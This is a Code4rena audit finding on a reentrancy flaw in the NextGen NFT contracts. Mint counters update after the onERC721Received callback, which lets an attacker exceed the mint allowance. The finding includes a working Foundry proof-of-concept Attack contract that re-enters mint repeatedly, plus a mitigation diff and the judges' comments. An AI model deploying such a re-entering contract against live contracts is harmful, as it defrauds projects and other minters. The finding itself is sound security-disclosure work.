The maximum allowance limitation can be bypassed by reentrancy to the mint function

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L198
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L231
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L237-L251
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L400-L422

Vulnerability details

Impact

The minting process utilizes the _safeMint function, which calls the onERC721Received callback function on the recipient during the transfer if the recipient is a contract.

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
    _mint(to, tokenId);
    require(
        _checkOnERC721Received(address(0), to, tokenId, data),
        "ERC721: transfer to non ERC721Receiver implementer"
    );
}
...
function _checkOnERC721Received(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) private returns (bool) {
    if (to.isContract()) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
        ...
    }
}

At this moment, an attacker is able to re-enter the mint function.

The number of tokens minted by a user is updated after minting.

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
    require(msg.sender == minterContract, "Caller is not the Minter Contract");
    collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
    if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
        _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        if (phase == 1) {
            tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
            tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
    }
}

Therefore, an attacker can bypass the maximum allowance limitation and mint an arbitrary number of tokens.

Proof of Concept

To test the POC, first initialize a foundry project. In the repository's root folder, execute the following commands:

mkdir foundry && cd foundry
forge init --no-commit
cp ../smart-contracts/* src

Next, add the POC.t.sol file to the test folder.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {NextGenAdmins} from "../src/NextGenAdmins.sol";
import {randomPool} from "../src/XRandoms.sol";
import {NextGenCore} from "../src/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../src/RandomizerNXT.sol";
import {DelegationManagementContract} from "../src/NFTdelegation.sol";
import {NextGenMinterContract} from "../src/MinterContract.sol";
import {Ownable} from "../src/Ownable.sol";
import {IERC721} from "../src/IERC721.sol";
import {IERC721Receiver} from "../src/IERC721Receiver.sol";

contract POC is Test {
    address immutable admin = makeAddr("admin");
    address immutable attacker = makeAddr("attacker");
    
    uint256 constant MAX_ALLOWANCE = 1;
    uint256 constant MAX_COLLECTION_PURCHASES = 1;
    uint256 constant COLLECTION_TOTAL_SUPPLY = 1000;
    uint256 constant MINT_COST = 0.1 ether;

    NextGenAdmins admins;
    randomPool randoms;
    NextGenCore core;
    NextGenRandomizerNXT randomizer;
    DelegationManagementContract delegate;
    NextGenMinterContract minter;

    uint256 collectionId;
    Attack attack;

    function setUp() external {
        vm.startPrank(admin);

        // Deployment
        admins = new NextGenAdmins();
        randoms = new randomPool();
        core = new NextGenCore("Next Gen Core", "NEXTGEN", address(admins));
        randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(core));
        delegate = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(delegate), address(admins));

        // Create a collection
        collectionId = core.newCollectionIndex();
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";
        core.createCollection(
            "Test Collection 1", "Artist 1", "For testing",
            "www.test.com","CCO", "https://ipfs.io/ipfs/hash/", "",
            collectionScript
        );

        core.setCollectionData(
            collectionId, makeAddr("artist"),
            MAX_COLLECTION_PURCHASES,
            COLLECTION_TOTAL_SUPPLY,
            0
        );

        core.addRandomizer(collectionId, address(randomizer));
        core.addMinterContract(address(minter));

        minter.setCollectionCosts(collectionId, MINT_COST, 0, 0, 0, 0, address(0));

        vm.stopPrank();

        // The attacker deploys the contract
        vm.prank(attacker);
        attack = new Attack(minter);        
    }

    function testAllowListMintReentrancy() external {
        // The attacker's contract was added to the allow list
        bytes memory node1 = abi.encodePacked(address(attack), MAX_ALLOWANCE, "");
        bytes memory node2 = abi.encodePacked(makeAddr("user"), MAX_ALLOWANCE, "");
        bytes32 merkleRoot = keccak256(abi.encodePacked(keccak256(node2), keccak256(node1)));

        bytes32[] memory merkleProof = new bytes32[](1);
        merkleProof[0] = keccak256(node2);

        vm.prank(admin);
        minter.setCollectionPhases(
            collectionId,
            block.timestamp,          // _allowlistStartTime
            block.timestamp + 1 days, // _allowlistEndTime
            block.timestamp + 1 days, // _publicStartTime
            block.timestamp + 2 days, // _publicEndTime
            merkleRoot                     
        );

        uint256 numberOfTokens = MAX_ALLOWANCE * 100;
        vm.deal(attacker, MINT_COST * numberOfTokens);

        vm.prank(attacker);
        attack.mint{value: MINT_COST * numberOfTokens}(
            collectionId, numberOfTokens, MAX_ALLOWANCE, "", merkleProof
        );

        // The attacker minted more tokens than allowed
        assertEq(core.balanceOf(attacker), numberOfTokens);
        assert(numberOfTokens > MAX_ALLOWANCE);
    }

    function testPublicSaleMintReentrancy() external {
        vm.prank(admin);
        minter.setCollectionPhases(
            collectionId,
            block.timestamp,          // _allowlistStartTime
            block.timestamp,          // _allowlistEndTime
            block.timestamp + 1 days, // _publicStartTime
            block.timestamp + 2 days, // _publicEndTime
            ""                     
        );

        vm.warp(block.timestamp + 1 days);
        
        uint256 numberOfTokens = MAX_COLLECTION_PURCHASES * 100;
        vm.deal(attacker, MINT_COST * numberOfTokens);

        vm.prank(attacker);
        attack.mint{value: MINT_COST * numberOfTokens}(
            collectionId, numberOfTokens, 0, "", new bytes32[](0) 
        );

        // The attacker minted more tokens than allowed
        assertEq(core.balanceOf(attacker), numberOfTokens);
        assert(numberOfTokens > MAX_COLLECTION_PURCHASES);
    }
}

contract Attack is Ownable {
    NextGenMinterContract minter;

    uint256 collectionId;
    uint256 numberOfTokens;
    uint256 maxAllowance;
    string tokenData;
    address mintTo;
    bytes32[] merkleProof;

    uint256 tokensMinted;
    
    constructor(NextGenMinterContract _minter) {
        minter = _minter;
    }
    
    function mint(
        uint256 _collectionId,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        bytes32[] memory _merkleProof
    ) external payable onlyOwner {
        collectionId = _collectionId;
        numberOfTokens = _numberOfTokens;
        maxAllowance = _maxAllowance;
        tokenData = _tokenData;
        merkleProof = _merkleProof;

        tokensMinted = 0;
        _mint();
    }

    function _mint() internal {
        uint256 price = minter.getPrice(collectionId);

        minter.mint{value: price}(
            collectionId, 1, maxAllowance, tokenData,
            address(this), merkleProof, address(0), 0
        );
    }

    function onERC721Received(
        address, address,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        IERC721(msg.sender).transferFrom(address(this), owner(), tokenId);
        if (numberOfTokens > ++tokensMinted) { _mint(); }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Run tests using:

forge test

Tools Used

Manual review

Recommended Mitigation Steps

Follow the Checks-Effects-Interactions pattern, ensure that all contract state changes are made before external interactions or implement reentrancy guard modifiers.

diff --git a/smart-contracts/NextGenCore.sol b/smart-contracts/NextGenCore.sol
index 6d294ed..c84091f 100644
--- a/smart-contracts/NextGenCore.sol
+++ b/smart-contracts/NextGenCore.sol
@@ -190,12 +190,12 @@ contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 {
         require(msg.sender == minterContract, "Caller is not the Minter Contract");
         collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
         if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
-            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
             if (phase == 1) {
                 tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
             } else {
                 tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
             }
+            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
         }
     }

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #51

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg marked the issue as satisfactory